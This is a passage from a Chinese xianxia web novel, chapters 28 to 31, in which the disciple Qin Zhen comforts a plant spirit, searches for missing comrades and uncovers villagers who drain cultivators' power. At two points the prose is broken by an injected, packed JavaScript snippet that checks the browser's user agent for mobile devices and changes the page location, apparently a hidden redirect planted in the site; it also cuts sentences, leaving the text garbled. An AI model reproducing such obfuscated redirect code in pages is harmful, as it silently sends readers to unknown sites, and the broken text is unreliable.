“罢了,先完成任务,既是历练,便好好历练,拿好你们的刀。”林赴川抱剑,剑气稍放,对着孤鸿院的弟子们说。 “是!林师兄!” 孤鸿院弟子们竟似很听林赴川的话。道源宫几人心想,怕是这些新弟子,刚刚入门,还未了那些江湖传闻。 林赴川与道源宫几人作别,再对秦蓁说:“我是带队师兄,得与同门一起去杀灵兽,这样快些。” 秦蓁眨眨眼,笑道:“我知晓,虽是搭档,但也不必要时刻一同任务,你去便好。” 林赴川也笑,便先行一步。 道源宫几人顺着陈家村土路走,打算先去找村中大夫问问那家人的情况。 没走几步,秦蓁余光一撇,在一家砖瓦屋房旁,看见那个叫小花儿的灵草怪,正蹲在一个有铁锅般大小的花盆前,嘴唇翕动。 走近了,才听见她的自言自语。 “小花儿,快快开呀,娘亲……也快快回呀……” “小花儿,今天你是不是又不打算开花啊?唉,你快点开呀,我想娘亲了......” “你开不开花啊!今天再不开我就把你挖了!” “快开吧,唉,快开呀,破花,什么时候才肯开嘛,我真的好想娘亲啊......” 28. 因为我要一直记着她 “......小花儿?”秦蓁跟同门师兄师姐打了招呼,让他们先去找村中大夫,自己有些事,晚些直接过去灵兽山与他们汇合。而后走到小花儿身旁,看她对着面前的灵草又念了好久的“快开花”,这才开口。 “哎!是你呀!”小花儿抬头,眼睛一亮,问道:“你是回去接了陈家村的寻人任务嘛?” 秦蓁一顿,斟酌着用词:“不是,我是想......问问你面前的灵草,它是什么灵草?会开花吗?” 小花儿听到否定的答案,眼睛搭下去,有些失望,但一听秦蓁问她的灵草,又高兴起来:“它会开花的哦!但它是什么灵草我也不知道,娘亲说是她之前出门去摘菜时看见它要枯萎了。她就把这灵草挖回家种啦,娘亲说它会开花哦!“ 小花儿提到娘亲,不自觉笑了满脸,秦蓁看着这个懵懂的灵草怪,心下叹气。 “你娘亲是陈家村的人吗?”秦蓁问。 “恩!”小花儿用力点头:“娘亲在陈家村的时候,这个村子还不是这样呢,那时候没有这么多屋子,也没有这么多人,我喜欢从前的村子!” 秦蓁轻轻说:“是已经过了很久吧?” 小花儿疑惑:“不久呀,才刚过百年,我才化形呢。” 秦蓁静静看着这个不知凡人寿命短暂的灵草怪,她用了百年化形,凡人的时间于她来说,甚至不够她睁开人类面孔的眼睛。 “你就叫小花儿吗?”秦蓁问。 小花儿点头:“娘亲一直叫我小花儿。” “你娘亲去哪里了,你知道吗?”秦蓁问。 小花儿点头:“娘亲说过,她去地府界了。” 秦蓁沉默,问:“你娘亲......是修行人吗?我听说地府界很多鬼魂,不是修行人不能进的。” 小花儿想了半天,才说:“娘亲好像是凡人,她没有灵力,而且会和凡人一样很快就变得皱巴巴。” “那是她在老去。”秦蓁说。 小花儿不太理解:“老去?” “就是......同灵草枯萎一样。” 小花儿皱着眉想了半天:“可是我枯萎的话不会去地府界呀,那里全是鬼气,我每次到鬼市门口都不舒服。” 秦蓁微叹:“凡人和灵草不一样,凡人老去......就会去地府界。” 小花儿愣愣看了秦蓁半天,开口:“可是娘亲说,等小花儿开了,她就回来。” “或许她说的是转世。”秦蓁明白,小花儿的娘亲大抵是清楚自己百年的生命,看不到一株灵草花开的。 “你怎么知道呀,娘亲她说,她要去地府了,等花开了她再回来看,但要到转世了。”小花儿拍拍手,站起,神色没什么所谓:“转世也没关系呀。”但接着她就垮了脸,有些生气:“就是这花儿一直不开,急死我了!我之前托一个道长帮忙挂任务牌,想找娘亲,结果也一直没人接。” 秦蓁不知道该如何告诉她,她的“娘亲”已经死了,她们之间隔着天堑。 “之前那个修士,他是你的......爹爹?”秦蓁换了个话题,毕竟她最开始虽然拿了任务牌,但被林赴川告知对方寻的是个死去百年的凡人时,也放弃了任务将牌子挂了回去,后来她想帮这小花儿,是因为看到鬼市门前那一幕。 小花儿嘴角撇得厉害:“他才不是我爹爹呢!这人我不认识的,我刚化形就看见他,他就说什么他养了好久的小花儿终于成人了,呸,谁认识他啊!” “唉!但他总说,别人就信了!而且他还有我的芽芯制成的控制法宝,气死我了!” “他才不是我爹爹呢,我爹爹......娘亲说爹爹被一群土匪砍伤,后来没有药治伤,死掉了。” 小花儿垂着头,有些丧气:“爹爹死了,娘亲好难过的。” “你知道‘死’是......什么意思吗?”秦蓁迟疑道。 小花儿一脸奇怪:“当然啊,死了就是消失了,不在这世上了。” 秦蓁又斟酌了下用词,才开口:“你娘亲是凡人,凡人哪怕一生顺遂,百年后也会......” “也会死。”小花儿接话:“我知道呀,但是娘亲不一样的,娘亲说等小花儿开了她转世回来看,我信娘亲,只是我想她了,等不及花开,我想去找她。帮我挂任务牌的道长说有缘我会见到娘亲的,我跟娘亲当然有缘!我要一直找她,因为我要一直记着她。” 秦蓁久久无言。 原来这看似懵懂的灵草怪,并非是不明白凡人寿数短暂,而是想在自己漫长的生命中,尽力记下这份短暂易逝的时光。 得知小花儿明白此事,秦蓁作别,她该去灵兽山与同门一起做任务了。 “也不知道那个人怎么会有我的芽芯制成的控制法宝,明明我都化形了,我的芽芯就在我心口呀。”小花儿嘀嘀咕咕。 秦蓁心念一动。 * “灵草芽芯制成的法宝?可能那人在灵草还未化形时便将它的芽芯挖下?但没了芽芯不能化行......抱歉,秦师妹,此事我也不知了。”段师姐听了秦蓁的话,思索许久,终是摇头。 秦蓁谢过段师姐,决定等任务完成后,直接去找那大汉问问,小花儿已修成人形有自己意愿,被人拿法宝控制,终不太好。 段师姐带队,很快便寻到村中大夫所说的灵草,沿路杀了几只祸乱村子的灵兽,到了山脚,却没看见孤鸿院的人。 “他们竟结束得这般快吗?”陈师兄惊奇。 易师姐说:“我们也回去交任务吧,灵草虽然找到了,但那家长子的病恐怕这灵草是治不好的,还需我们去调查,另外几个探查任务,离陈家村也近,可以同时做。” “确实,陈家村这个任务,恐怕是完不成了,病因古怪。我们之中除了段师姐,没人通病理,任务要查清这家长子的病因,或许可以去其他村子看看有没有类似的病人,若有那其中必有关联,若没有便探查其他任务吧。”华师兄附和。 众人商讨好,便回了陈家村。 那老汉堆笑相迎:“仙君们这般快便回来了!” 陈师兄递给老汉灵草,老汉连忙收下,急急出门去寻村中大夫来煎药。 几人进门,屋内却仅有那妇人和她卧床的长子。 “孤鸿院的人难道是顺路去其它灵兽山......做他们的任务去了?”陈师兄疑惑。 段师姐皱眉:“应该不会吧?我们之前商定过,仅去陈家村旁的灵兽山,虽然林......但他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159635|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像私做决定的人。” 众人沉默了一会儿,旬鹊的声音响起来:“或许是追着山脚灵兽深入到山里去了。” 秦蓁稍稍放松,她知道旬鹊大抵有些类似预知的能力,她这样说了,应该也就是这般了,于是她说:“暂且等等看,若夜晚他们未归,我们去找找。” 几人应声,正好老汉带着大夫回来了,招呼他们过去帮忙煎药。 秦蓁因为方才去找了小花儿,现下是第一次见这位村中大夫,大夫神情带了些鄙夷,处理灵草熟稔利落,煎药的动作却慢吞吞的,似是很不情愿。 那老汉见道源宫几人围在药炉旁看着药汤,便去卧房了。 老汉走后,大夫的神情好了些,说:“都说了,没事就出村子,他家这病是亏心事干多了遭报应,有什么好查。” 段师姐说:“我们接了任务的,总不能因您一人之言便不顾他人,况且我们问他们做了什么事,大夫您也不愿说。” 那大夫支吾两声,不说话了。 秦蓁若有所思。确实有古怪,不仅这家人。 药煎好,大汉掰开他那长子的嘴巴,用了点灵力裹挟汤药送入他口中,竟然一滴都未漏出嘴边,像什么入口即化的丹药,而非煎来的汤药汁。 段师姐看得直皱眉:“这......强行用灵力将汤药送入经脉......” 大汉粗犷的声音打断她:“这也是没法子了!仙君!不然咋吃药?不吃药这半年他都撑不下去!” “仙君,今个儿要不在我们家歇下?之前那群仙君呢?他们还没回来吗?”大汉灌完药,放下药碗就问。 他两眼闪着贪婪的光,明晃晃到如有实质。 华师兄冷冷道:“不必了,我们回之前的客栈休息。” “那之前那群仙君呢?”大汉不依不饶。 “他们已经回客栈了,不在这边。”段师姐说:“我们也先回去休息了,告辞。” 大汉的表情瞬间变得有些难看,还想说什么,华师兄横握着剑到胸口,往前抵了抵,说:“不送。” 大汉黑青着一张脸,目送几人离开。 “这家人真是......奇怪,若说有意隐瞒什么,又太明显,像是无所谓会不会被人发现古怪一样。”离开了陈家村后,易师姐说。 可不是嘛。旬鹊想,演都不演了。 那大概,今夜便会有动作吧...... “先去灵兽山,找下孤鸿院的人吧。”段师姐说。 * 几人绕着灵兽山山脚寻了一圈,确实没有孤鸿院弟子在山脚,段师姐便提议深入山中寻人。 已至夜晚,灵兽山是安全的,但孤鸿院的人没了踪迹,总叫人不安,于是段师姐说还是大家一起走,不要分开。众人便沿着上山路一点点探查。 忽然秦蓁看见了什么,站着不动了。 段师姐看过来,问:“怎么了?秦师妹,可有什么发现?” 她边问,边走来秦蓁身边,顺着秦蓁的目光,看见不远处一柄带血的断剑。 秦蓁直直盯着那柄断剑。 剑柄点了颗剔透玉石,花纹繁复的细长剑身通体漆黑,却被从中折断。 这是,林赴川与她切磋时拿的剑。 29. 天上天天掉馅饼 秦蓁将断剑收入储物戒,一行人循着血迹往前走。 走了许久,血迹断,面前平坦的草地像被人狠凿过,露出一个草皮掀翻的地洞。 地洞有两人宽,洞边一圈像是用刀劈下,十分不规则。 几人站在洞边往下看,隐隐可见洞下中空,最下边也有片草地。 “别有洞天!”华师兄一惊。 众人疑惑,华师兄解释:“家中长辈从前历练遇到过,若是灵兽扎堆的地方出现了什么可通人的地洞之类的,就叫‘别有洞天’,只是那里面并不是什么好风景好境地,而是有占据一方的强大灵兽。” 段师姐沉思:“恐怕孤鸿院的人下到下边了。” “秦师妹方才说,那柄断剑是林赴川的,这样看来,恐怕不是他们下去了,而是被其中的强大灵兽……”易师姐欲言又止,最终还是没有说出未完的话。 但众人也都明了,一时气氛有些沉重。 “但这洞口并不像天然形成,也不像灵兽动作,而是像人为劈开。孤鸿院的弟子多数使刀,可能是他们劈开的。”陈师兄绕着洞边走了一圈,细细观察,蹲下捻了点洞口边的细草与泥土,继续说:“还很湿软,并不像存留许久被风干边缘的旧地洞。” “华师兄,‘别有洞天’里的灵兽,一般是何等修为?”秦蓁沉默很久,最终问。 华师兄摇头:“难说,但至少地阶,我家中长辈遇到的是地阶灵兽。” “地阶灵兽……灵兽地阶之上,与地阶下的灵兽实力相差巨大,我听闻许多飞升期的前辈才有地阶灵兽作契约兽……”段师姐语气很沉,让几人的心也更沉重,断剑、血迹、地阶灵兽……几乎可以确定,这已过的一天时间里发生了什么。 “我下去看看。”秦蓁开口。 “这!秦师妹,莫要冲动!”段师姐皱眉,伸手拦下她。 “非是冲动。”秦蓁轻轻将段师姐的手推开,说:“陈师兄说的有理,洞口很新,也更像是人力刀劈,可能孤鸿院的人是同我们一样循着什么下去救人,不一定皆已身死。” 几人沉默,最终是旬鹊开口打破沉重的氛围:“阿蓁……秦师姐说得对!我们下去看看吧,我觉得不会有事,华师兄说的‘别有洞天’是自然的洞穴吧?这个洞口一点不像,说不定底下没有什么地阶灵兽,这只是百幽境内的一个小灵兽山呀!哪有那么凶险,况且咱们出发前,观云峰的陈长老也说了,叫我们放心,虽然危机重重,但不会有性命之忧,叫我们好好历练。” 旬鹊说完这话,朝秦蓁眨了眨眼,做口型无声唤了句“阿蓁姐姐”,对着她扬起笑。 秦蓁微微放松,也不自觉笑了笑。 段师姐思索一会儿,说:“确实有理,既是历练,危机是必要的。” “是,虽然孤鸿院的人非我们同门,但也同是修道之人,若弃于不顾,有违道心。”陈师兄说。 易师姐拿出一条细鞭,念了句口诀,细鞭迅速变长,她说:“将这细鞭当绳子,我们一起拿着,下到底下若有什么阵法之类的,不会失散。” 几人伸手握住细鞭,聚灵支起护体结界。 华师兄说:“段师姐虽是带队师姐,但若下到去是‘别有洞天’,我稍稍多一点经验,我先行,段师姐殿后如何?” 段师姐点头:“你多小心。” 华师兄应下,来到洞口边,纵身跃下。 细鞭随着他的动作抽长,似能延伸无限距离。 易师姐也跟着跳下,接着是秦蓁、旬鹊、陈师兄和殿后的段师姐。 意料之外的,众人相当顺利的跃至洞底草地上。地洞下分明没有日光,却十分宽广明亮,此地也正同他们在洞边上往下看一样,并不深,下边有片莹莹绿草地。 “竟不是障眼法。”易师姐感慨。 但几人还是握着细鞭,以防突然被卷入什么阵法或迷雾与同伴失散。 他们往前走,一路观察是否有孤鸿院弟子的踪迹。 突然陈师兄扯了扯细鞭,指了指他左侧。 几人看过去,不远处草地上卧着一个九尺左右的灵兽,通体泛着莹光,像块被打磨得光滑细致的青白和田玉,它将长长的耳朵枕在身下,窝在一大片闪着莹莹微光的灵草上,模样很是温顺好看。 它睁着碧绿的眼,静静看着他们,恐怖的灵兽威压在众人看见它的一瞬间如浪潮击顶。 众人皆是一滞。 秦蓁没见过地阶之上的灵兽,只感觉它威压深重,沉沉将她的身子往地底下拽,她聚灵撑开结界,才感觉手脚恢复自如。 华师兄脸色很难看,他紧握着剑,胸口起伏,压声惊呼:“……天阶灵兽!” 众人面色沉重,带了些紧张和忌惮——竟是天阶! 没错!就是天阶!旬鹊心里乐滋滋的,女主!收下你的契约兽吧! 她在洞口边上的时候,之所以站出来说话,是因为她知道,百幽境这个中期副本就是给女主送契约兽来的,虽然如今变动到了前期,但也不错,契约兽可是难得的好东西,而女主的契约兽更是要兼具强大和美丽,看看这天阶的实力,再看看这像块上好玉石的品相——天道出品,必属精品! 至于那些村庄里贪婪的人,不过是顺便让女主再吃一记社会险恶——不过天道光环护体,倒是也没有险,女主会和她的契约兽一起在灵兽山上悠哉悠哉往下看那一片村庄被天雷劈毁。 “……前辈,无意扰您清静,万分抱歉,我们是为寻找同伴来到此处。”华师兄抱拳行礼。 这灵兽虽放了威压,却仅是震慑,并没有刻意压人,身上也没有杀气,开了智的灵兽很少伤人,若能好好说道,是最佳选择。 天阶灵兽开口,也如玉,很是清亮:“你们的同伴是那十几个黑白道袍的人?” 华师兄答是,那灵兽便懒洋洋道:“我全杀了。” 秦蓁心脏猛地一跳,杀意瞬间沸腾,她眼神凛冽,紧盯着面前的天阶灵兽。 天阶灵兽感受到她的杀意,斜眼看过来,接着一顿,抬起兽爪虚空一抓,秦蓁被无形的力抓到面前灵草地上。 “秦师妹!”道源宫几人惊叫,段师姐更是已经拔剑,将要踏出的步伐却在被那天阶灵兽看了一眼后,定格在原地,它开口:“没你们的事,别吵。” 道源宫几人被定在原地,只能眼神焦急的看着面前一人一兽。 秦蓁被突然拉过去,下意识拔剑撑住身体,那天阶灵兽看着她的剑,说:“这把剑更好看。” 更? 秦蓁皱眉,难道是指……林赴川那把断剑吗? 她心下一沉,面色很冷。 天阶灵兽见了,拿玉白的爪子轻轻碰了下秦蓁的肩,疑惑道:“你生什么气?” 秦蓁眼底幽光闪过,但她也清楚他们几人加一起都打不过天阶的灵兽,压下杀意,语气却还是难以控制的冷:“你方才说你把……他们都杀了?” “本来是要都杀了的,结果……果然没成功,切。”天阶灵兽很不高兴的说。 秦蓁眼睛亮了些,问道:“可以……放了他们吗?他们是我们同伴,放人条件你提便好。” 那天阶灵兽古怪的看着她:“你要亲自去杀是吧?不过那个人确实只能你去杀才行的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164108|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦蓁愕然,她去杀……孤鸿院的人?这怎么可能? 她正想着是不是灵兽对“同伴”这个词的理解和人的不一样,就见面前的天阶灵兽身形聚缩,变成仅巴掌大小的一团,清亮的对她说:“好了,不管他们了,反正也是以后的事,带我走吧。” 秦蓁有些懵:“带你走?” 那天阶灵兽理所应当道:“对,我是‘别有洞天’里的天阶洞天兽,看上你了,要做你的契约兽,不过我之前受了伤,现在签契约会影响到你,你带我走,等我伤好了再跟你契约。” 秦蓁难以理解洞天兽的这番话,契约天阶灵兽,这简直就是天上掉馅饼。 她目光一凝,天上掉馅饼……秦蓁想起柳清沂讲述的她的故事。 师姐说得对,这可不就是天上掉馅饼吗。 秦蓁将在她愣神时跳到她肩膀上的洞天兽拿起,放回灵草地,说:“我不带你走。” 洞天兽瞪大它碧绿的眼睛,像是没想到秦蓁会拒绝,它发出一声疑惑。 “你说你受伤了,那就好好养伤,我只是来找我同伴,我不带你走,也不契约你。”秦蓁说。 洞天兽像是呆住了,碧绿眼睛一眨不眨瞪着她。 秦蓁问:“你说没杀他们,那你可知道他们去了哪儿?我们循着血迹过来,肯定有人受伤了,我们得去找他们……” 洞天兽叫起来,打断了她的话:“你不跟我契约?!” 秦蓁说:“是。” 话音刚落洞天兽便又叫起来:“你疯了秦蓁?你不跟我契约?你知不知道没了我你的历练路上有多少危机得自己费劲化解啊。” 秦蓁听了这话,目光很沉,但只低低说:“以后的事,你怎么知道呢?” 洞天兽顿了一下,说:“……我的天赋技能是预知。” 秦蓁淡淡道:“那看来你的天赋不是太好,不然你该预知到的,是我不会与你契约。” 洞天兽震惊,反复说了半天让秦蓁带它走的话,还疯狂吹嘘自己多么厉害多么珍贵,见秦蓁连一丝神色波动都没有,它气急了:“那十几个人被我关起来了,杀不了我还关不了吗?你跟我契约,我就放他们!” 最后那句话,洞天兽说得咬牙切齿。 秦蓁沉默,说:“你不是说你现在不能契约?换个条件……你放他们。” 洞天兽变得一小团的身形气得蹦蹦跳跳:“你得寸进尺啊!秦蓁!你气死我得了!” 秦蓁无言,她方才拒绝契约,是不想跟任何“天上掉馅饼”的事沾上关系,那不是她自己的力量,她取之有愧,不如她的剑让她心安。 但这洞天兽……似乎是真心担忧她,虽然一副气极的样子,但它说它是帮她化解危机的,而且不能现在契约的原因是,它受了伤,会影响她。 她心中的那份杀意和细微戾气消失,看着跳来跳去的小白团子,试探着伸手。 洞天兽立刻闭嘴,欢欢喜喜将爪子搭上秦蓁的手,以为她答应契约了。 没想到秦蓁看它的爪子搭过来,笑了一声,说:“谢谢你,但你在这好好养伤就好,不用跟我走。” “可以放我的同伴回去吗?我们来是为了找我们的同伴。” 洞天兽把爪子收了回来。 它弄错了,她是真的不想跟它契约,真的不想带它走,真的只是来找她的同伴。 它说:“你不要我了。” 秦蓁有些不知道该怎么回答它,但洞天兽这话说出来也不是要一个回答,它恶狠狠的继续说:“那你去把陈家村、还有连着的那一整片村庄的人,全都杀了,我就放人。” 30. 你从前杀人不眨眼 洞天兽话完,秦蓁眼前景象极速划过,耳边风声呼啸,几息后,她回到了陈家村。 秦蓁还没来得及反应,便被一阵嘈杂声吸引注意。 已至夜晚,按村里人的作息时间,人们早该睡下,但陈家村却灯火通明,土道上聚集了许多人,被包围在最中间的,是他们接了任务的那家老汉。 “陈老大,那些人呢!不是说好了今晚抽他们的灵力吗?你把人藏着要私吞啊?”一个大汉表情可怖,手指着陈老汉,上上下下的抖手点他。 “这次的人许多都是金丹期!天呐!金丹期啊!”旁边一位大汉双眼露出比白日陈老汉更贪婪的目光:“你们一家吞不下这么高修为的,大家一起分点才成。” “本来还说,若这次来的还是些筑基期的人……就算了!他们的灵力抽了咱们也提不了多少修为,还得找把人弄死的理由……但那些宗门人竟派了金丹期的人来!十几个!咱们能筑基了!”一人眼神闪烁,搓手喊道。 原先嘈杂的声音静了一瞬,接着热烈附和起来:“是啊!天!金丹期!咱们能筑基了!” “能筑基,咱们把这些人死的理由编得好点就成了,那灵兽山不是一堆灵兽吗?我年前发过清剿祸害村子的灵兽这些任务,肯定也有宗门接的,就说被那些灵兽杀了!”一个削瘦的男子高喊。 陈老汉原本黑着脸看这些人吵闹,一听这话,他怒气冲冲:“好哇!原来是你发的个破玩意儿任务!那些人去灵兽山杀灵兽,都没回来了!” 喧闹聚静,众人面面相觑,原先说话那人惊声尖叫:“怎么会!我发的就是清些山脚灵兽啊!他们深入灵兽山了?陈老汉!你好生说!他们人呢!” 陈老汉气得脸色涨红:“白日我也打发他们去灵兽山摘灵草了,结果只回来了摘灵草那几个!那十几个杀灵兽的没回来!我问那几人,他们说什么回客栈了,放屁!我后来跑去问客栈的人,他们也没看见人气坏了!那十几个人肯定凶多吉少了!剩下那几个说要回客栈,那边的人也没见着他们,哇呀呀!到嘴边的肉飞了!” 众人瞬间炸了:“死了十几个?剩下的跑了?陈老汉!你怎么看人的啊!那阵法忘了启动吗?” “陈老汉!你要死啊!你启动阵法还非把人支去灵兽山啊?” 陈老汉又急又怒:“别瞎给老汉我扣锅子!从前不都是支去灵兽山?都怪你发那个杀灵兽的任务!肯定是杀的灵兽太多,那位大人不高兴了!它出来把那些人吃了!没我们的份了!” 那人挤上来给陈老汉来了一拳,怒道:“你放什么狗屁!那位大人还会管其他灵兽的死活?它巴不得它们死了给它抽灵力!我看就是你把那些人藏到哪儿要私吞了!十几个金丹期!也不看你胃口这么大会不会撑破!” 陈老汉被打得脸都偏到一边,立刻回击一拳,骂道:“你死边去!我没藏人!真跑了!那几人出门时凶得很!剑都推我胸口上了!今天是没了!等明天他们来!明天不来,估计就是死灵兽山了!是那位大人要私吞他们!” 喧嚣瞬起,许多人急红了眼,破口大骂,骂着骂着又扭打在一团,土道上乱成一团。 秦蓁看着,心一点一点往下沉。 她之前虽觉得不对,但也只以为这些村民贪图他们身上的灵器法宝,而那病情古怪的人是他们家中的腌臜事。没想到竟全是为了抽他们的修为,夺他们的命。 并且,听他们话语间的熟练,怕是已如此做过许多次,客栈的人还有什么灵兽大人……不止陈家村,这一片都是一伙人。 那洞天兽要她杀这一整片村子的人……竟是真的不无辜。 她将身体往暗角藏了藏,暂且不打算立刻动手。 “不必藏,他们看不见你的,你跑他们脸上他们都看不见你。”洞天兽清亮的声音响起,秦蓁顿一下,环视四周,并未看见那颗绿眼睛长耳朵的小白团子,却有它的声音传来:“哼,你也看不见我的。” “你让我看到这些,是要我去杀他们吗?”秦蓁问。 “这片村子的人,都是凝神炼气期,虽然你现在不过金丹,但杀他们照样砍瓜切菜,你杀了他们,我就放人,怎么样?”洞天兽的声音变得有些飘忽。 秦蓁看着面前那群人还在争执,恶意的话语通过各种刺耳的声音传过来,他们好像已经架起了篝火,而串着烤着的那些让他们垂涎欲滴的,是人肉。 “仙门弟子真是蠢啊!修为降了那么多还以为是什么古怪灵兽,这次来的金丹期估计也是以为灵兽太古怪太厉害了,哈!让我们捡到便宜了,金丹啊这可是,若还是从前那群筑基弟子,也不是非杀不可,但是金丹啊,金丹啊!” 他的声音突然高昂尖锐:“能让我们都成筑基的金丹!送到面前,哪有不取的道理!开那个大阵吧,这些小阵法不够看了,开那个大阵!他们只要没出百幽境,就会回来。” “但是那位大人会知道啊!让那位大人知道我们私自抽灵力怎么办?” “那大人分给我们的灵力越来越少了!这样下去,我看哪天它就不给我们灵力了,说不定还要杀我们,毕竟这事不好听,如今送上门的金丹是唯一的希望啊!我们筑基了,就能离开百幽了!” “难道一直被困在这百幽境,等着灵力消散,变成凡人吗?百年就死的凡人!” 众人安静下来,声音低了很多,直到那个说要开大阵的人说:“不是我们想杀人,是他们自己把脖子递过来了!” 众人的声音再次洪亮起来,说着他们的受制于人,说着以前抽人灵力可从没伤人,最后说到,这次是迫不得已,他们是第一次害人性命。 秦蓁看着这些人,面上没什么表情,甚至不像听到洞天兽说杀了孤鸿院的人时有杀意波动,她只静静看着,似无悲无喜,淡漠无边。 “你知道百幽境是被谁护着的吗?”洞天兽突然问。 秦蓁没有思索,脱口而出:“鬼王。” 洞天兽倒是停顿了一下,才说:“看来他已经先找过你了。那你知道他为什么要护着百幽境吗?” 秦蓁沉默。 原先她见了鬼市,以为百幽境的人们也同鬼市的鬼魂那般,被温养得褪去了险恶,余下淳朴的灵魂。 可百幽境内的这一片村子,却是这般。 鬼王分明有这个能力将百幽境整治成第二个鬼市,但他没有,那又为什么……要护着这般的百幽境呢? 洞天兽见她沉默,飘忽的声音再次响起:“因为这里,养着‘恶’。” “最开始是一些人做了极恶之事却没能得因果报应,死后的恶魂飘进地府,被鬼王抹杀,他将与那些恶人恶事相关的人全部抓来,画地为牢,建立百幽境。那些人被困在百幽境,原先的修为一点点消散,纵然有本土灵草灵兽可制药,但最高也突破不了筑基。鬼王循着地府的恶魂抓人,百幽境才有这一整片的村庄,那些恶人世代繁衍,教养出来的后代却难改劣根,在这一方境内互相 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洞天兽道:“当然不,有的人被害得神魂俱灭,那害人的人仅是身死,便不算完全报了因果;有的人受千刀万剐而死,那一剑封喉,也不算完全报了因果。” “所以有的人死后的魂能直接转世投胎,有的魂能进鬼市生活,有的魂却只能下到那十八重地狱。” 秦蓁面上神情依旧浅淡,却问:“我没法还他们的因果,那我凭什么替天行道?又凭什么他们害了人,放下屠刀便能立地成佛?” 洞天兽语气带笑意:“那你觉得,他们该不该杀?” “若确是极恶之人,该杀。”秦蓁说。 “没那般严重的恶呢?” “可入百幽,自省自化。” 洞天兽笑起来:“所以百幽境的人,确实也并不都是极恶之人,这便是‘牢笼’。那鬼王护牢笼,其实是在护牢笼外的人,而他圈起牢笼,也是为了牢笼外的人。他是个奇怪的人,养着‘恶’,希望哪天这些‘恶’能变成‘善’。” 秦蓁叹道:“你这般绕圈子,又说要我杀他们所有人,又说这些话,到底想如何?探讨我的道心吗?” 洞天兽嘻嘻笑:“我就想看看,你这个人,变了几分。” 秦蓁面上带了点笑,说:“我不记得你。” 洞天兽说:“但你肯定有发现什么不对,所以才不抵触我这般说。” 秦蓁定定看着眼前争吵不休的人群,过了一会儿,问道:“那我变了几分?” 洞天兽带着笑意的声音响起:“太多。”接着它问:“你会杀他们吗?” 秦蓁说:“杀,但不是全部。陈老汉和那个说要开大阵的人是领头人,杀;听他们说的话,有几人虽未全然附和,但恶意根生,杀;还有几人是被裹挟而从,不杀,留他们在百幽境内自省;村中并不是所有人都聚集了过来,那些人可能在闭门反省,并不愿这般做,不杀。” “这样很麻烦,你还得去调查更细致的才行,还有周边村子的,你都得去查,不如一剑全杀了干净利落又快速,反正不过砍瓜切菜。”洞天兽这般说着,带了点诱哄味道。 “我不怕麻烦。”秦蓁说:“我也不能一剑将这一片村庄的人全杀了,这里面可能还有些人是全然无辜的,比如小花儿,她不过是生于此地的灵草精怪。” 洞天兽感叹:“你当真变了太多。” 秦蓁一顿,问:“那我从前……是怎样?” 洞天兽嘻嘻笑:“看着此方生灵因部分人作的恶被天道一同清算,眼都不眨哦。” 31. 秦师姐!林师兄被妖怪抓走了!^…… “你将我的同伴放了吧,我们一同调查这些村子,会快许多。”秦蓁说。 洞天兽哼一声,似乎早知她要说这句话。 眼前瞬变,几息之间,她又回到了“别有洞天”的那片灵草地上。 洞天兽跳到她肩上,玉白爪子往右边指了指,语气带了些玩味,说:“走那边。和你一起来的几个先不管,让他们看到麻烦事可就瞒不住了。” 秦蓁随它的指引走,七拐八弯后,脚下不再是平坦的草地,而是崎岖的杂丛,又走了许久,看见两扇水雾薄帘。 洞天兽问:“林赴川在左,其他人在右。你要不先试试看能不能在这里就杀了他?虽然没到节点他应该不会死,但试试也没什么。” 秦蓁眼神微眯:“你是说……杀林赴川?” “当然!他现在还未入魔,没那魔功护体,修为也不过元婴,大好时机!”洞天兽语气兴奋。 秦蓁眉头狠狠一皱:“因为那个他会入魔的传闻,便要杀他?” 洞天兽沉默一会,说:“不是传闻,是天命。” “他将来到了渡劫期,一定会堕魔的。他本来就是天才剑修,堕魔后实力更是暴涨,他踏过尸山血海,成了新任魔尊,之后可就要天下大乱咯。”洞天兽这般说着,很有些看戏的意味。 秦蓁却说:“我只看到他现在的纯粹剑意。” 洞天兽又嘻嘻笑:“现在是现在,往后是往后,人多易变,何况随人而变的剑意剑心。反正也不一定真能杀死他,试试而已,你此刻不去试,日后一定后悔错失今日的好时机。” 秦蓁抬脚,走向左边的水雾薄帘,即将进入前,她停下,说:“我不会后悔。我既已拿他当同伴,便不会因为所谓的天命向他拔剑。” “要是他真的堕魔呢?” “我会与他一战,看他剑意如何,若他剑骨未改,我信他有苦衷,亦不会杀他,他有他的侠道。” “……要是他真的做了恶事为祸世间呢?” 秦蓁话语飘渺,声音很轻很轻:“杀。” 话落,她踏进水雾薄帘。 林赴川披着有些破损的黑白道袍,里衣微敞,在洞中打坐。他发丝垂散,闭着眼,紧皱着眉,俊逸风骨被泼上深到如墨的血,只看清他凛然的眉眼。 “……林赴川。”秦蓁开口,声音依旧很轻。 林赴川没有睁眼,但他双睫微颤,应是听见了的。 秦蓁走到他面前,蹲下平视他,又喊了声他的名字:“林赴川。” 林赴川呼吸渐促,胸口剧烈起伏,嘴唇紧抿,眉间皱得更深,似走火入魔的人在挣扎本心。 秦蓁皱眉,试探着聚出一点灵力,碰了碰他眉心,想用外来灵力激他本能防御让他清醒。 但她的灵力竟然毫不受阻的直接钻入了他体内,秦蓁吃了一惊,这是……渡灵? 她心绪有些起伏,渡灵需要渡劫期往上的修为,她…… 